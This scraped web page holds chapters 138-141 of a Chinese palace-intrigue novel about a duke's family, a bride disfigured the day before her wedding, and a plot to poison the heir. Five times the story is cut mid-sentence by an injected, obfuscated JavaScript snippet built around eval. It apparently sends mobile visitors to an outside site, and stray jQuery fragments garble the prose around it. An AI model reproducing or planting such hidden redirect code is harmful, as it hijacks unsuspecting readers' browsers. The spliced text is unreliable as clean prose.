“母亲这话,未免有些自欺欺人了,”茅清兮冷笑,“若当真不过问俗事,今日又怎会出了佛堂,来看望即将出嫁的女儿?” 一旁的嬷嬷听不下去了,忍不住出声:“少夫人,您怎能如此与大夫人说话?” 冀夫人抬手,制止了嬷嬷,转头看着茅清兮,声音冷漠如冰:“你与你娘亲,当真像极,一样的……咄咄逼人。” 一样的浑身是刺,扎得人生疼,让人……不喜。 茅清兮深吸一口气,强压下胸口的怒火。 若单从一个旁观者的角度来看,冀夫人这般不染纤尘的清冷模样,的确美得令人心惊,甚至令人忍不住想要保护她,不忍她沾染半分俗世尘埃。 可她不能。她是冀容白的妻子。 她无法容忍一个母亲,眼睁睁地看着自己的亲生儿子一步步走向死亡。 十三年了,冀夫人一直待在佛堂里,从未踏出一步。 偏偏在冀晚雨出嫁前夕,她却出来了。 这分明说明,冀夫人并非对子女无情。 既如此,她又怎能对冀容白的生死,如此漠然? “我不会去看他的。”冀夫人语气冷淡,没有丝毫转圜的余地。 她停顿了一下,似乎在斟酌用词,然后才缓缓开口,语气中带着一种近乎残忍的决绝:“不过,我有一言,需你带给他。” 茅清兮紧紧皱着眉:“您为何不亲自去?” 冀夫人微微侧过头,避开她的视线:“我说了,你开口说啥都一样。那孩子,他能明白我的意思。” 茅清兮努力平复着自己的情绪,过了好一会儿,才找回自己的声音:“您……想说什么?” “你回去,告诉冀容白,”冀夫人一字一顿,声音清晰而冰冷,“离开秦府。从今往后,国公府的爵位,与他再无半分干系。让他……趁早**这条心。” 茅清兮只觉得一股寒意从脚底直窜头顶,她冷笑出声:“国公府的爵位?冀容白他根本就不稀罕!” “如此,甚好。”冀夫人轻轻颔首,转身便要离去。 “您当真……就这么走了?”茅清兮的声音有些颤抖,带着一丝难以置信,“您就……不担心他吗?他体内的毒……” “这些,与我无关。”冀夫人打断了她,脚步不停。 茅清兮胸中怒火翻腾,几乎要将她整个人都点燃。她从未见过如此冷漠的母亲! 她若将这番话带回去,冀容白又该如何自处?他该如何面对这个十四年来从未谋面,一见面就警告他莫要觊觎家产的母亲? 紫姨一直跟在茅清兮身旁,将这一切尽收眼底。见茅清兮气得脸色发白,她反倒轻轻笑出了声。 茅清兮猛地转头,瞪大了眼睛:“紫姨,您……怎还笑得出来?” 紫姨收敛了笑意,轻叹一声:“我非笑旁人,只是觉得,小姐您但凡遇到与姑爷有关的事,便格外容易动怒。” 茅清兮微微一愣,心头的怒火稍稍平息了些:“有吗?” “这些年来,宋老爷对小姐您也是不闻不问,可从未见您对他如此动气。如今换成了姑爷,怎的就不一样了?”紫姨意有所指。 茅清兮蹙起眉,语气有些迟疑:“这……不一样。” “如何不一样?”紫姨看向一旁的绿绿,“绿绿,你说呢?” 绿绿认真想了想,缓缓开口:“夫人平日里遇事,向来冷静沉稳,极少有这般失态的时候。除非……这事与姑爷有关。” 她欲言又止,偷偷看了茅清兮一眼。 紫姨笑意更深。 茅清兮被紫姨看得有些不自在,心中也开始反思。难道,当真是自己太过冲动了? 细细想来,冀夫人与冀容白之间究竟有何纠葛,秦府之中又藏着多少不为人知的秘密,她的确知之甚少。 她不过是凭着自己的一腔热血,在替冀容白鸣不平。 或许,冀容白与冀夫人之间,真有些不足为外人道的隐情。 茅清兮努力让自己冷静下来,打算回自个儿小院歇息。 就在这时,一阵急促的脚步声由远及近,两个丫鬟神色慌张地朝这边跑来。 茅清兮定睛一看,认出她们是康熙王府的,平日里跟在冀晚雨身边伺候。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062168|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她心中一动,隐隐觉得有些不对劲。 紫姨察言观色,立刻示意绿绿上前打探。 绿绿快步走上前,与那两个丫鬟低声交谈了几句。 片刻后,绿绿回到茅清兮身边,脸色有些古怪:“夫人,出事了。大小姐她……与二小姐起了争执,被二小姐……划伤了脸。” “冀晚雨?”茅清兮眉头一挑,“她不是一向自诩柔弱不能自理吗?怎会与人动手?” “这……”绿绿犹豫了一下,“听说是二小姐出言不逊,说了些……不大好听的话,大小姐一时气不过,便……” 茅清兮冷笑一声:“这倒像是她的作风。康熙王府的人呢?他们怎么说?” “康熙王府来人了,正闹着要为大小姐讨回公道呢。”绿绿答道。 茅清兮心中了然。 冀晚雨这下,怕是真的要毁容了。 只是,她这一毁容,康熙小王爷那边,怕是不好交代了。 毕竟,明天就是他俩大婚的好日子。谁家愿意娶一个毁了容的王妃? 茅清兮想起当初在花朝节上,冀晚雨凭借着一副楚楚可怜的娇弱模样,一举夺得了小王爷的欢心。如今容貌尽毁,她又拿什么来留住这位风流多情的小王爷? 想到这里,茅清兮不由得摇了摇头。 与此同时,秦府内,原本张灯结彩、喜气洋洋的新房里,冀晚雨正趴在桌上,哭得撕心裂肺。 她的声音嘶哑而绝望,一声声,如同杜鹃啼血,听得人心头发颤。喜房内,一片狼藉。 原本精心布置的红绸、喜字,此刻都黯然失色。桌椅翻倒,瓷器碎裂一地,茶水混着茶叶,在地上晕染出一片片难看的污渍。 “晚雨!” 一声急切的呼唤,打破了这凝滞的气氛。康熙小王爷连朝服都没来得及换,便匆匆赶来,发冠都有些歪斜。 什么新婚前新人不能见面的规矩,他此刻哪还顾得上。 小王爷的视线迅速扫过房间,最终落在梳妆台前。冀晚雨正伏在那里,单薄的肩膀不停耸动,压抑的哭声断断续续,像小兽的呜咽。 心,猛地一抽。 小王爷大步上前,双手扶住冀晚雨的肩膀,指尖微微用力,想让她抬起头来。 第一百三十八章 可冀晚雨却像受惊的小鹿,拼命地摇着头,身体也微微颤抖,哭声更大了,一声紧似一声,仿佛要哭断了气。 小王爷感觉自己的心被揉成了一团,疼得厉害。 他猛地转身,目光如刀,狠狠剐过跪在地上的四个丫鬟,声音是从未有过的冷厉:“这就是你们的看护?啊?本王把人交给你们,你们就是这么给本王‘守’着的?!” 四个丫鬟早已吓破了胆,齐刷刷地跪在地上,头都不敢抬,身体抖得像筛糠。 她们张了张嘴,想解释,却又不知道该如何开口。 事情发生得太快,太突然。 原本,冀晚雨让她们按住冀晚棠。她们虽是奉命行事,却也知道轻重,只是将冀晚棠控制住,并没有真的下狠手。 可谁知,冀晚棠突然像是疯了一样,猛地挣开了她们。 电光火石之间,冀晚棠已经冲到桌边,抓起绣盒里的剪刀,不管不顾地朝冀晚雨扑了过去。 “啊——” 冀晚雨的尖叫声,几乎刺破了屋顶。 等她们反应过来,冲上去拉开冀晚棠时,已经晚了。 冀晚雨捂着脸,跌坐在地上,鲜血从指缝中汩汩流出,染红了她雪白的嫁衣。 丫鬟们当时就吓傻了。 她们知道,这不仅仅是一道伤口,更是毁了一个女子的一生。 尤其是在这大婚前夕…… 几个丫鬟心知闯下大祸,连滚带爬地奔去康熙王府报信。 如今,小王爷来了,她们也只能跪在这里,听候发落。 她们心里很清楚,小王爷平日里最是宠爱冀晚雨,如今出了这样的事,她们几个,恐怕是活不成了。 小王爷看着冀晚雨哭得几乎背过气去,心疼、愤怒、自责……种种情绪交织在一起,几乎将他淹没。 他深吸一口气,强压下心头的怒火,转头对冀晚雨柔声说道:“晚雨,你放心,这事儿,本王一定给你一个交代!” 冀晚雨听到这话,哭声却更大了。她紧紧地抓着小王爷的衣袖,像是抓住了最后一根救命稻草。 这时,秦太医也提着药箱,匆匆赶到。 “秦太医,快,快给晚雨看看!”小王爷急切地说道,语气中带着一丝不易察觉的颤抖。 秦太医不敢耽搁,连忙上前。 可冀晚雨却依旧不肯抬头,只是一个劲儿地摇头,哭声里带着浓浓的恐惧和绝望。 “不……不要看……难看……我……我……” 她断断续续地说着,声音嘶哑得厉害。 冀晚雨死死咬住下唇。 她现在一定很丑,很可怕。 她怕小王爷看到她这副样子,会嫌弃她,会厌恶她。 如果……如果小王爷不要她了,那她该怎么办? 她不敢想,也不敢面对。 小王爷急得额头上都冒出了汗珠,他俯下身,凑到冀晚雨耳边,轻声哄劝:“晚雨乖,让太医看看,好不好?不看怎么知道伤势如何?太医不看诊,怎么对症下药?” 他的声音很轻,很柔,带着一丝小心翼翼的安抚。 可冀晚雨还是摇头。 秦太医也忍不住捋了捋胡须,在一旁劝说:“燕小姐,这女子容貌最是要紧,受伤后更要及时医治。您这伤……耽搁不得啊!” “王爷……”冀晚雨的声音细若蚊蚋,带着哭腔,“您……麻烦您暂时回避一下?我……我不想您看到我现在这个样子……” 小王爷心头一软,柔声道:“傻丫头,你什么样子,本王没见过?再说了,你在我心里,永远都是最好看的。” 可冀晚雨还是拼命摇头,泪水像断了线的珠子,一颗接一颗地滚落下来。 小王爷心疼不已,却也拗不过她,只得轻叹一声,转身走了出去,轻轻带上了房门。 可他虽然身在门外,心却始终悬着,耳朵紧紧地贴着门板,生怕错过里面的任何动静。 刚走出房间,小王爷就看到了跪在院子里的冀晚棠,以及脸色铁青,站在一旁的冀二夫人。 不用说,冀二夫人定是听到风声,才把这罪魁祸首押过来的。 小王爷的目光如淬了毒的利箭,直直射向冀晚棠。 冀晚棠被这目光一扫,吓得浑身一哆嗦,本能地往冀二夫人身后缩了缩。 小王爷“腾”地一下,怒火再次上涌。他一个箭步冲上前,一把揪住冀晚棠的衣领,将她从地上拎了起来。 “你这个毒妇!竟敢伤了晚雨!” 冀晚棠被掐得喘不过气来,脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062169|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色涨得紫红,双手拼命地抓挠着小王爷的手臂。 “放……放开我……” “放开你?本王恨不得将你**万段!”小王爷咬牙切齿,手上力道更大了几分。 冀二夫人吓得脸色惨白,她扑通一声跪在小王爷面前,连连磕头。 “小王爷饶命!小王爷饶命啊!晚棠她只是一时糊涂,她不是故意的!求您看在她年纪小的份上,饶她一命吧!” “年纪小?”小王爷冷笑一声,“我看她是心肠歹毒!今天本王非要替晚雨讨回这个公道!” “娘!娘救我……咳咳……二哥……二哥……” 冀晚棠的呼救声越来越微弱,眼看就要窒息。 恰在此时,冀徒临和冀国公也闻讯赶来了。 冀晚棠一见到冀徒临,如同溺水之人抓住了救命稻草,她用尽全身力气,嘶哑着嗓子喊道:“二哥!救我!快救救我!” 冀徒临见状,一个箭步冲上前,一把推开小王爷。 “小王爷!这是国公府,还轮不到你来撒野!” 冀晚棠趁机挣脱了小王爷的钳制,跌跌撞撞地躲到冀徒临身后,大口大口地喘着粗气。 冀国公的脸色阴沉得能滴出水来。他看着眼前这混乱的场面,心中怒火翻腾。 “小王爷,你擅闯我国公府内宅,还打伤我的女儿,未免太过分了吧?!”冀国公强压着怒火,质问道。 “过分?”小王爷冷笑,“本王的人在你们府上受了伤,险些丧命,你竟然还敢跟本王说‘过分’二字?!” “小王爷,晚雨的伤,我们深感痛心。但晚棠毕竟是我国公府的二小姐,你这样不分青红皂白就要打要杀,未免有失妥当。” “不分青红皂白?”小王爷怒极反笑,“好一个不分青红皂白!来人,把那几个丫鬟给我带上来!” 康熙王府的侍卫应声而去,不多时,便将那四个丫鬟押了上来。 “你们几个,把刚才发生的事情,一五一十地给国公爷说清楚!”小王爷厉声喝道。 四个丫鬟早已吓得魂不附体,她们双膝着地,你看看我,我看看你,谁也不敢先开口。 “怎么,不敢说?还是想包庇这个毒妇?!”小王爷的目光如刀,在四个丫鬟身上来回扫视。 第一百三十九章 最终,一个胆子稍大些的丫鬟,哆哆嗦嗦地开了口,将事情的经过,原原本本地讲述了一遍。 冀国公越听,脸色越是难看。 “晚棠!你还有什么话说?!” 冀晚棠脸色惨白,嘴唇哆嗦着,却说不出一个字来。 “孽障!还不给我跪下!”冀国公怒喝一声。 冀晚棠“扑通”一声跪倒在地,头深深地埋了下去。 “小王爷,”冀国公深吸一口气,强压下心中的怒火,对小王爷说道,“此事确实是晚棠的错,我代她向您和晚雨赔罪。您放心,我一定会给晚雨一个交代。” “交代?怎么交代?难道就这么轻飘飘地一句‘赔罪’,就能揭过去了吗?!”小王爷步步紧逼。 “那小王爷想怎么样?”冀国公的语气也冷了下来。 “我要她偿命!”小王爷指着冀晚棠,一字一顿地说道。 “这不可能!”冀国公断然拒绝,“晚棠虽有错,但罪不至死!” “罪不至死?”小王爷冷笑,“那就要看晚雨的伤势如何了!若是她有个三长两短,别说是冀晚棠,就是你们整个国公府,都要给她陪葬!” 冀国公的脸色变了又变,最终,他咬了咬牙,说道:“来人,将二小姐带下去,关进祠堂,没有我的命令,任何人不得探视!” “爹!”冀徒临惊呼出声。 “还不快去!”冀国公厉声喝道。 几个家丁上前,将冀晚棠强行带了下去。 冀国公转头对小王爷说道:“小王爷,现在您满意了吗?” 小王爷冷哼一声,没有说话。 “小王爷,晚雨的伤势要紧,您还是先回去看看她吧。至于晚棠,我一定会严加管教,给您一个满意的交代。” 小王爷深深地看了冀国公一眼,最终拂袖而去。 冀国公望着小王爷离去的背影,脸色阴沉得可怕。 他转身走进冀晚雨的房间。 此时,秦太医已经给冀晚雨处理好了伤口,正收拾药箱准备离开。 冀国公摆了摆手,让下人将秦太医送了出去。 他走到床边,看着躺在床上,脸色苍白的冀晚雨,眼中闪过一丝复杂的情绪。 “你……还好吧?”冀国公的声音有些干涩。 冀晚雨缓缓睁开眼睛,看着冀国公,眼中没有一丝波动。 “死不了。” 冀国公的脸色一僵。 “晚雨,我知道你心里有怨气,但事已至此,你还是看开些吧。” 冀晚雨冷笑一声,“看开?爹爹说得倒是轻巧。若是今日躺在这里的人是您,您也能看开吗?” 冀国公被噎得说不出话来。 “晚雨,我知道你受委屈了。但你要知道,小王爷对你的宠爱,不过是一时的。你若是想在康熙王府站稳脚跟,就必须依靠国公府。你明白吗?” 冀晚雨的眼中闪过一丝嘲讽,“依靠国公府?爹爹是想说,让我继续像以前一样,任人欺凌,任人宰割吗?” “晚雨!”冀国公的声音提高了几分,“你怎么能这么说话?我是你的父亲,难道还会害你不成?” “害我?”冀晚雨冷笑,“难道爹爹忘了,当初是谁把我送进宫,任由那些人作践?又是谁,在我被退婚之后,对我不管不问,任由我自生自灭?现在你跟我说,你不会害我?真是可笑!” 冀国公的脸色一阵青一阵白。 “晚雨,过去的事情,就让它过去吧。现在最重要的是,你要好好养伤,争取早日康复。只要你还是康熙王妃,国公府就永远是你的后盾。” 冀晚雨闭上眼睛,不再说话。 冀国公见状,也不再多言,转身离开了房间。 冀晚雨缓缓睁开眼睛,眼中充满了恨意。 她紧紧地抓着被子,指甲深深地陷了进去。 冀晚棠,康熙小王爷,冀国公…… 你们都给我等着! 我冀晚雨所受的苦,所受的**,总有一天,要让你们加倍奉还!“大哥,您就行行好,晚棠那小身板,柴房里阴冷潮湿,她怎么熬得住啊?” 冀国公前脚刚迈出冀晚雨的屋子,冀二夫人后脚就跟了上来,一把鼻涕一把泪地哭诉。 冀徒临也赶忙上前帮腔:“大伯,妹妹打小就体弱,前些日子又大病一场,您这一关,不是要她的命吗?” 这对母子竟敢如此放肆,是摸准了冀国公的心思。 在冀国公眼里,冀晚雨是死是活,他根本不在乎。 别说只是毁了容,就算真**了,冀国公恐怕也只会觉得晦气。 果不其然,冀国公只是轻描淡写地扫了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062170|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们一眼: “行了,人你们领回去吧。跟她说,以后少给我惹是生非。” “哎!大哥放心,我一定好好教训教训这死丫头!” 冀二夫人破涕为笑,连声应着。 “晚棠平日里最是乖巧懂事,往后定不会再给国公府添乱了。” 冀国公微微颔首,算是应允了。 冀晚棠那蠢货,三番五次坏事,还连累冀徒临分心,他早就心生不满了。 但只要冀徒临不出岔子,能担起国公府的门楣,其他的事,他都可以不管。 这天晚上,冀二夫人欢天喜地地将冀晚棠接回了自己的院子。 又是好酒好菜伺候着,又是嘘寒问暖,不知道的,还以为她是受了天大的委屈。 而冀晚雨的新房里,却冷冷清清,连个鬼影子都没有。 按理说,今天本该是她最风光的一天。 可这满府上下,竟没有一个人想起她,仿佛她根本就不存在一般。 冀晚雨独自坐在床沿上,死死地咬着嘴唇,几乎要咬出血来。 窗外,寒风呼啸,吹得新换的红色帘幔胡乱飞舞,像极了她此刻的心情。 “啊——!” 一声凄厉的尖叫,打破了深夜的寂静。 刚进门的丫鬟,被冀晚雨那张在烛光下扭曲变形的脸吓得魂飞魄散。 “咣当——” 铜盆应声落地,丫鬟连滚带爬地逃了出去,只留下一串惊恐的尖叫声在夜空中回荡。 与此同时,国公府西北角,一处偏院内。 这里平日里大门紧锁,仅见一个老婆子来往,府里的人都对这里敬而远之。 然而今晚,冀国公却一脸阴沉地推开了院门。 “国公爷……” 老嬷嬷一脸诧异,忙迎了上去。 冀国公看都没看她一眼,径直走了进去。 老嬷嬷张了张嘴,想说些什么,最终还是咽了回去,一脸担忧地尾随其后。 “吱呀——” 沉重的木门被推开,发出刺耳的声响。 佛堂内,昏黄的烛光轻轻跳动。 蒲团上,一个身影跪在那里,低声诵经。 听到动静,她缓缓睁开了眼。 老嬷嬷刚要跟进去,却被冀国公“砰”地一声关在了门外。 第一百四十章 冀国公迈步至冀大夫人身旁,冷冷地看着她: “听说,你今日外出了啊?” 冀大夫人没有抬头,只是淡淡地“嗯”了一声。 冀国公的脸色愈发阴沉: “你去哪了?见了什么人?” “没去哪,没见谁。” 冀大夫人依旧惜字如金。 冀国公的耐心终于耗尽,他猛地抓住林臧雨的衣领,将她从蒲团上拽了起来。 “林臧雨!你是不是忘了自己的身份?!” 他怒吼着,双目赤红,像一头被激怒的野兽。 “我让你给冀容白下毒,你下了没有?!” 冀大夫人却出奇地平静,她看着冀国公,眼神中没有一丝波澜: “你放心,我会劝他离开国公府,放弃爵位。” “我要的不是这个!” 冀国公的声音在空旷的佛堂里回荡,震得人耳膜发疼。 “我要冀容白的命!你听不懂吗?!” “他中了‘寒星露’,时日无多了。” 冀大夫人语气毫无起伏,仿佛只是在陈述一个事实。 “你又何必急于一时?” “我急?” 冀国公冷笑一声,猛地将林臧雨推开。 “我会怕一个将死之人?真是笑话!” 林臧雨一个踉跄,险些摔倒。 她稳住身形,再次跪坐在软垫上,整理了一下被扯乱的衣襟。 昏暗的烛光下,她那张绝美的脸上,看不出丝毫岁月的痕迹。 冀国公眼中闪过一丝复杂的情绪,但很快,便被更深的阴霾所取代。 “冀容白会听你的?” 他忽然问道,声音低沉而沙哑。 “会的。” 冀大夫人回答得毫不犹豫。 冀国公不相信,但他更不愿相信。 冀大夫人似乎看穿了他的心思,缓缓开口: “就像当年,我把那盏茶递给邱辰,他明明知道茶里有问题,却还是喝了下去。” “他信我,正如……我也曾信他。” 最后一句话,冀大夫人说的很轻,像一声叹息,消散在风中。 冀国公的眉头紧紧皱起,他想到了“寒星露”的厉害,那可是无药可解的剧毒。 想到这里,他的心稍微安定了一些。 他看着林臧雨那张平静的脸,忽然问道: “这么多年了,你认错了吗?” 林臧雨没有回答,只是低着头,拨动着手中的佛珠。 冀国公的怒火再次被点燃,他猛地拔高了声音: “林臧雨!我在问你话!你认不认错?!” “妾不知,错在何处。” 林臧雨终于开口,声音依旧平淡。 冀国公怒极反笑,他猛地一挥手,将佛像前的供品全部扫落在地。 “好!好一个不知错在何处!” “林臧雨,你没错,莫非是我想岔了?!” “当年,若不是你行为不检,我又怎会……” 他没有再说下去,只是死死地盯着林臧雨,眼神中充满了恨意和不甘。 林臧雨缓缓闭上眼,嘴里轻声诵读经文,似乎对冀国公的愤怒和指责充耳不闻。 冀国公只觉得胸口有一团火在烧,烧得他五脏六腑都疼。 他看着林臧雨这副无动于衷的样子,更是怒不可遏。 “你不是喜欢拜佛吗?好!我让你拜个够!” 他怒将神龛上的佛像掀翻。 佛像倒下,带倒了旁边的烛台和帘幔。 “哗啦啦——” 一阵巨响过后,蜡烛点燃了帘幔,火苗迅速蹿了起来。 火光中,林臧雨的脸色依旧平静。 她那张绝美的脸上,没有一丝恐惧,只有一种近乎冷酷的漠然。 冀国公愣住了,他呆呆地看着眼前熊熊燃烧的火焰,一时间竟不知该如何是好。 直到火势越来越大,他才猛然惊醒,一把拉起林臧雨,跌跌撞撞地向外跑去。 刚跑出房间,冀国公便下意识地回头去看林臧雨。 却见她双手合十,低垂着眼,嘴里念念有词,像是在祈祷,又像是在忏悔。 “走水了!快来人啊!救火啊!” 老嬷嬷的尖叫声从外面传来,划破了夜空的宁静。 冀国公紧紧握着拳头,指甲深深地掐进肉里,几乎要掐出血来。 他咬着牙愤怒发问: “林臧雨,到了这个时候,你还惦记着你那破佛经?!” “我看你是铁了心要在这鬼地方待一辈子了!” 林臧雨没有回答,只是淡淡地说: “人快来了,你先走吧。” “好!好!好!” 冀国公一连说了三个“好”字,只觉得自己像个跳梁小丑,在林臧雨面前丢尽了脸面。 他猛地一甩袖子,头也不回地离开了。 老嬷嬷站在林臧雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062171|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边,一脸担忧: “夫人,老爷他……是不是又因为少爷的事来找您?” 林臧雨轻轻“嗯”了一声: “你去告诉冀容白一声,免得那丫头忘了。” 老嬷嬷应道:“是,老奴这就去。” 秦府偏院失火一事,茅清兮直到洗漱完毕才听说。 据丫鬟们说,那里是冀容白娘亲的居所,火势已经扑灭,并无人员伤亡,可惜神龛被大火吞噬。 茅清兮用毛巾擦拭着湿漉漉的头发,脑海中浮现冀大夫人今日所言,心里有些犹豫,不知道该不该告诉冀容白。 或许,根本就不该告诉他。 茅清兮暗自思忖。 既然冀大夫人对冀容白如此冷漠,冀容白又何必听她的话呢? 她不禁拿冀大夫人对待冀容白的方式,与茅文昭对待自己的方式作比较。 如果茅文昭对她说出这种莫名其妙的话,她肯定不会理睬。 她正胡思乱想着,冀容白从外面走了进来。 他脸色阴沉,眉宇间笼罩着一层阴霾,像是有什么心事。 但当他看到茅清兮的那一刻,脸上瞬间绽放出笑容,所有的阴霾都消失不见了。 “娘子。” 冀容白快步走到茅清兮身边,语气轻快地说道: “我来帮娘子擦头发。” 茅清兮正好不想自己动手,便将手中的毛巾递给了他。 这段时间她胳膊受伤,一直没怎么练武。近日又开始练习兵器,左胳膊还有些隐隐作痛。 冀容白接过毛巾,小心翼翼地捧起茅清兮的长发,轻轻地擦拭着。 两人沉默不语,享受着这难得的静谧时光。 茅清兮放松地靠在床框上,目光落在跳动的烛火上,思绪渐渐飘远。 “娘子,”冀容白突然开口,打破了沉默。 “不如,咱们离开秦府如何?” 茅清兮猛地转过头,看向冀容白,眼神中充满了惊讶和疑惑。 冀容白却只是笑着,继续说道: “夫人中意哪种庭院?只要你说出来,我立刻就去准备。”晨曦微露,几缕光线穿过窗棂,在喜房内洒下斑驳光影。 “吱呀——” 门开了。 值夜的丫鬟揉着眼,轻手轻脚地推门,却见一道身影已然端坐于梳妆台前。 “小姐?” 大丫鬟仲雨一个激灵,忙上前,朝身后的小丫鬟们使了个眼色。 第一百四十一章 几个小丫鬟鱼贯而入,手里端着铜盆、巾帕,都低眉垂首,不敢出声。 偌大喜房,安静得落针可闻。 大喜的日子,可这满屋子的人,包括新娘子,脸上都毫无喜色。 “过来,梳妆。” 冀晚雨开口,声音冷冷的。 喜房内没安排梳妆嬷嬷,只能由贴身的大丫鬟仲雨代劳。 这些丫鬟,都是昨儿个小王爷未来得及发落的,如今留在小王妃身边,只盼着能讨条生路。 仲雨拿起梳子,目光落在了冀晚雨的脸上。 看清那道疤痕时,她手一抖,梳子“啪嗒”一声掉在地上。 冀晚雨从铜镜中冷冷地注视着仲雨,眼底闪过一丝玩味。 “怕了?” 她缓缓启唇,语气森然: “好好梳,梳得好,留你一条命,梳得不好……” 她故意顿了顿,嘴角勾起一抹阴冷的笑: “那你就下去陪葬吧。” “扑通——” 仲雨和身后的几个小丫鬟吓得跪倒,身子抖如筛糠: “王妃饶命!奴婢一定尽心……” 冀晚雨看着她们,笑得更冷了。 只是这笑意牵动了脸上的疤,更显得丑陋可怖。 “哟,大姐,这么早就起来打扮,赶着见小王爷呢?” 一道声音突兀地响起。 冀晚棠推门而入,脸上挂着幸灾乐祸的笑。 她一眼就看见冀晚雨正往脸上戴红纱,笑得更欢: “大姐,你这是做什么?该不会是怕晚上小王爷掀开红纱,被你吓得……从此不振吧?” 冀晚雨掐着手心,指甲几乎嵌进肉里。 冀晚棠竟然出来了! 昨儿个冀国公明明把她关进柴房禁足,可这才过了一天不到,她就出来了。 不,估计昨夜已经溜走! 冀晚雨心中涌起一股恨意。 她被毁容,可冀晚棠却毫发无损! 他们连惩罚都不敢施加。 洛国公府就是这般作风! 永远都低人一等! “嫁入王府又如何?” 冀晚棠带着几个丫鬟,走到冀晚雨身边,目光扫过她脸上的红纱: “还不是失了宠?冀晚雨,这就是你背叛我的代价!” 康熙王府的几个丫鬟见状,连忙挡在冀晚雨身前。 “你们护着她?” 冀晚棠冷哼一声: “护着一个失宠的王妃,有什么好处?说不定哪天,她就没命了。” 侍女们默不作声,却不敢退让。 “二妹,我再如何,也比你好。” 冀晚雨开口,语气平静得可怕。 她抬眸,透过红纱看向冀晚棠,嘴角勾起一抹嘲讽: “至少,我嫁的是王爷,而你呢?只能嫁给一个‘善’表哥。” 冀晚棠脸色瞬间变得铁青: “你!” “我说错了吗?” 冀晚雨轻笑一声,眼底却闪过一丝疯狂。 “冀晚雨,你找死!” 冀晚棠怒斥: “要不是冀容白那个来路不明的要我留你一条命,我早在你小时候就把你扔去喂狗!” 冀晚雨猛地一震,瞳孔骤然紧缩。 小时候……喂狗…… 她想起来了。 那年,冀晚棠养了条凶狗,专吃生肉,传闻连人都敢吞。 她不小心打碎了冀晚棠的一个玉碗,冀晚棠便让下人抓住她,打算让她与恶犬共处。 她吓得大哭,可冀晚棠非但没心软,反而兴奋。 她被拖进狼狗窝,直接吓晕了过去。 醒来的时候,她却在自己屋里,身上干干净净,没有受伤。 她以为自己做了一场噩梦,可那种恐惧却深深地烙印在了心里,让她从此对冀晚棠更加畏惧。 可现在,冀晚棠竟然说,是冀容白救了她? 她自小就讨厌冀容白。 旁人的哥哥都护着妹妹,可她的哥哥,对她总是冷冰冰的。 他为什么就不能像冀徒临对冀晚棠那样? 后来,当她得知,她和冀容白的父亲不是同一个人,当得知冀容白竟是那人骨肉,她的恨意和嫉妒,疯狂地滋长。 一个本该同样因为出身被人轻视,过得连畜生都不如的废物,却因为那个人,获得了优待。 秦府的人怕他,不敢得罪,甚至捧着他。 冀晚雨以为,自己有这么一个哥哥,旁人再不敢轻视于她。 可冀容白根本不管她,任由她被人欺负。 即使冀容白曾经救过她,那又怎么样? 还不是对她冷漠旁观? 倘若他是真心待她,为什么不让她风光大嫁? 一个掌管五万鹰羽卫的,连这点聘礼都拿不出来? 与秦府众人并无二致,冷漠自私,见不得她好! 还有,他既然能救她,为什么不把冀晚棠这个祸害给杀了?! 冀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16062172|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚雨越想越恨,眼中的恨意几乎要化为实质。 “怎么,不信?” 冀晚棠见她不说话,得意地笑了: “冀晚雨,你的命,是我施舍的!若是今夜小王爷把你轰出府,记得来求我,妹妹我一定‘收留’你!” 